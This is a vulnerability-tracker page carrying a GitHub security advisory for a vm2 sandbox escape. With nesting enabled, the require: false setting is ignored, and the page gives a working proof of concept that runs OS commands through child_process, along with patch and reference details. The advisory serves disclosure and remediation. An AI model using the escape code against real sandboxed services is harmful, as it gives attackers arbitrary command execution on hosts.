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GHSA-8HG8-63C5-GWMX

vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution

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CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -6 d de la divulgación
Exposición196 dDesde la divulgación, 7 may 2026, 12:13 a. m.
Detección193 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 3.11.1
Monitoreo
Detectada
1 may 26
7 may 26
4 nov 26
17 nov 26
19 nov 26
1 may 26
20 jun 26
10 ago 26
30 sept 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.11.1 vm2 · -6 d desde divulgación
Divulgación Publicada GHSA-8HG8-63C5-GWMX divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

When a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.

Details

The vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.

`lib/nodevm.js:96-99` — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:

const NESTING_OVERRIDE = Object.freeze({
  __proto__: null,
  vm2: vm2NestingLoader
});

`lib/nodevm.js:268-269` — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options:

const customResolver = requireOpts instanceof Resolver;
const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(
  requireOpts,
  nesting && NESTING_OVERRIDE,  // ← injected when nesting:true
  this._compiler
);

`lib/resolver-compat.js:193-197` — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:

function makeResolverFromLegacyOptions(options, override, compiler) {
  if (!options) {
    if (!override) return DENY_RESOLVER;  // require:false, no nesting → deny all
    // BUG: require:false + nesting:true reaches here
    // override (NESTING_OVERRIDE) is applied, making vm2 available
    const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);
    return new Resolver(DEFAULT_FS, [], builtins);  // vm2 is now requireable
  }
  // ...
}

`lib/builtin.js:102-106` — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:

if (overrides) {
  const keys = Object.getOwnPropertyNames(overrides);
  for (const key of keys) {
    res.set(key, overrides[key]);  // vm2 always injected when nesting:true
  }
}

The result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`.

This was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that "scripts can create a NodeVM which can require any host module," but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.

PoC

Requirements: vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).

const { NodeVM } = require('vm2');

// Host intends: nesting enabled, but require completely disabled
const vm = new NodeVM({ nesting: true, require: false });

const result = vm.run(`
  // Step 1: require('vm2') succeeds despite require:false on the outer VM
  const { NodeVM: NVM } = require('vm2');

  // Step 2: create an inner NodeVM with attacker-chosen require config
  // This inner VM has no relation to the outer VM's restrictions
  const inner = new NVM({ require: { builtin: ['child_process'] } });

  // Step 3: execute arbitrary OS command in the inner VM
  module.exports = inner.run(
    'module.exports = require("child_process").execSync("id").toString()'
  );
`);

console.log(result);
// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...

Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):

uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)

The variant with `require: false` also works — the outer VM's require setting has no effect:

new NodeVM({ nesting: true, require: false }).run(`
  const { NodeVM: NVM } = require('vm2');
  module.exports = new NVM({ require: { builtin: ['child_process'] } })
    .run('module.exports = require("child_process").execSync("id").toString()');
`);
// uid=1000(akshat) ...

Narrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled.

Impact

Who is affected: Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.

What an attacker can do: Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.

Severity: The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access.

Note: `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
vm2< 3.11.1
3.11.1
3.12.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmvm2
Corregida 3.11.1 -6 d 3.12.2 no afectada
Versiones corregidas3.11.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-44007
Otrahttps://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx
Otrahttps://github.com/patriksimek/vm2/commit/46cbbdde4e19b743974c942278080231004146ca
Otrahttps://access.redhat.com/errata/RHSA-2026:50850
Otrahttps://access.redhat.com/security/cve/CVE-2026-44007
Otrahttps://bugzilla.redhat.com/show_bug.cgi?id=2477198
Otrahttps://github.com/patriksimek/vm2
Otrahttps://github.com/patriksimek/vm2/releases/tag/v3.11.1
Otrahttps://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44007.json
Otrahttp://www.openwall.com/lists/oss-security/2026/05/05/11

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